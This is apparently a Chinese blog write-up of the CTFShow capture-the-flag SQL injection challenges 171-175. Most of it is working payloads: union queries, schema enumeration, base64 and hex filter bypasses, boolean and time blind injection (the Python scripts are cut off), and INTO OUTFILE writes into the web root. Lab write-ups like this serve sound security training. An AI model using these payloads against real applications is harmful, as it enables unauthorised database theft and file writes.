CTFShow-web-vip/SQL 171-175(union注入)

CTFShow-web-vip/SQL 171-175(union注入)
28.7的博客CTFShow-web-vip/SQL 171-175(union注入)
本文档整理CTFShow-web-vip板块中SQL 171-175题的Union注入解题思路,涵盖基础闭合、联合查询、WAF绕过、bool注入、文件导出等核心考点,每道题明确考点差异与关键步骤,代码与结果可视化结合,便于理解与复现。
web 171:基础SQL闭合注入
考点
- 单引号闭合与注释绕过
- 排除条件
username !='flag'的绕过
核心SQL语句(后端)
1 | $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; |
解题步骤
闭合测试与逻辑绕过
利用or逻辑覆盖username !='flag'的限制,同时用注释符--+(URL中可替换为%23)注释后续SQL语句:1
2
3
4# 方法1:直接闭合+逻辑真
?id=1' or 1=1--+
# 方法2:精准匹配flag用户
?id=-1' or username='flag'--+ # -1使原查询无结果,Union前需让主查询无数据结果回显
执行上述Payload后,页面会回显flag用户的username和password,直接获取flag。
web 172:完整Union联合注入
考点
- Union联合查询的完整流程(库→表→字段→数据)
- 回显位测试与数据提取
解题步骤
1. 回显位测试(确定字段数与可回显位置)
首先通过Union查询测试当前表的字段数,确保Union前后查询字段数一致:
1 | ?id=1' union select 1,2,3--+ # 回显2、3,说明字段数为3,且第2、3位可回显 |
2. 查询数据库名
利用database()函数获取当前数据库名称:
1 | ?id=1' union select 1,database(),3--+ # 回显数据库名:ctfshow_web |
3. 查询目标表名
从information_schema.tables中查询ctfshow_web库下的表,重点关注含flag或user的表:
1 | ?id=1' union select 1,database(),group_concat(table_name) |
4. 查询目标字段名
从information_schema.columns中查询ctfshow_user2表的字段:
1 | ?id=1' union select 1,database(),group_concat(column_name) |
5. 提取flag数据
直接查询ctfshow_user2表的password字段(通常flag存于此):
1 | ?id=1' union select 1,database(),group_concat(password) from ctfshow_user2--+ |
web 173:Union注入+编码绕过WAF
考点
- 基础WAF绕过(针对
flag关键词的过滤) - 编码函数(
to_base64、hex)在数据提取中的应用
解题背景
本题新增简单WAF,过滤flag关键词,但可通过编码转换绕过——将含flag的数据编码后回显,再解码获取原始内容。
解题步骤
1. 确认表名与字段
延续172题思路,先确定目标表为ctfshow_user3(字段仍为id,username,password)。
2. 编码提取数据(两种方式)
方式1:Base64编码
用to_base64()函数将password编码,避免触发flag过滤:
1 | ?id=1' union select 1,database(),to_base64(password) from ctfshow_user3--+ |
将回显的Base64字符串(如ZmxhZ3t...)解码,得到flag。
方式2:Hex编码
用hex()函数将username和password转为十六进制,同样绕过过滤:
1 | ?id=1' union select 1,to_base64(username),hex(password) from ctfshow_user3--+ |
将Hex字符串(如666C6167...)转为ASCII,得到原始数据。
3. 直接绕过(可选)
若WAF过滤不严格,直接查询仍可能生效:
1 | ?id=1' union select 1,database(),group_concat(password) from ctfshow_user3--+ |
web 174:Union+数字过滤→bool注入/文件导出
考点
- 数字与
flag关键词双重过滤(preg_match('/flag|[0-9]/i', json_encode($ret))) - bool注入(基于回显逻辑判断)与outfile文件导出(直接写入结果)
解题思路
过滤规则限制:回显中不能含数字和flag,因此无法直接用Union回显数据,需用两种替代方案。
方法1:bool注入(二分法脚本)
通过if(条件, 'yes', 'no')判断数据的ASCII值,逐步爆破password。
核心Payload
1 | ?id=0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'), {索引},1))>{ASCII值},'yes','no')%23 |
0':使主查询无结果,确保Union结果生效substr(..., 索引,1):截取password的第N个字符ascii(...):将字符转为ASCII值,与阈值对比yes/no:通过页面回显的“yes”或“no”判断条件是否成立
自动化脚本(Python)
1 | import requests |
方法2:outfile文件导出
利用into outfile将ctfshow_user4表的数据写入Web根目录(需知道绝对路径,如/var/www/html/),直接访问文件获取flag。
核心Payload
1 | ?id=1' union select username,password from ctfshow_user4 into outfile '/var/www/html/flag.txt'--+ |
- 执行后,访问
http://靶场IP/flag.txt,即可查看username=flag对应的password(即flag)。 - 若提示“文件已存在”,可修改文件名(如
flag1.txt)。
web 175:无过滤→文件导出/时间盲注
考点
- 无显错+无过滤场景的注入方案
- time注入(基于延迟判断)与
outfile文件导出
解题背景
后端过滤规则:preg_match('/[\x00-\x7f]/i', json_encode($ret)),即回显中不能含ASCII字符(无法通过yes/no判断),需用时间延迟或文件导出。
方法1:outfile文件导出(推荐)
与174题方法2一致,直接将数据写入Web可访问目录:
1 | ?id=1' union select username,password from ctfshow_user5 into outfile '/var/www/html/flag5.txt'--+ |
访问http://靶场IP/flag5.txt获取flag。
方法2:time注入(脚本实现)
通过sleep(2)延迟判断条件是否成立,替代yes/no回显。
核心Payload
1 | ?id=0' union select 'a',if(ascii(substr((select password from ctfshow_user5 where username='flag'), {索引},1))>{ASCII值},sleep(2),1)%23 |
- 若条件成立,请求延迟2秒以上;若不成立,无延迟。
自动化脚本(Python)
1 | import requests |
总结(171-175考点对比)
| 题目 | 核心考点 | 关键绕过/方法 | 数据提取方式 |
|---|---|---|---|
| 171 | 单引号闭合+逻辑绕过 | or 1=1/or username='flag' |
直接回显 |
| 172 | 完整Union注入流程 | 回显位测试+information_schema | Union联合查询 |
| 173 | WAF关键词过滤 | Base64/Hex编码 | 编码回显+解码 |
| 174 | 数字+关键词过滤 | bool注入(yes/no)/outfile | 二分法爆破/文件导出 |
| 175 | 无ASCII回显 | time注入(sleep)/outfile | 延迟判断/文件导出 |
核心思路:先判断注入点与过滤规则,再选择“直接回显→编码绕过→盲注→文件导出”的递进方案,优先使用outfile(效率最高),盲注作为备选。














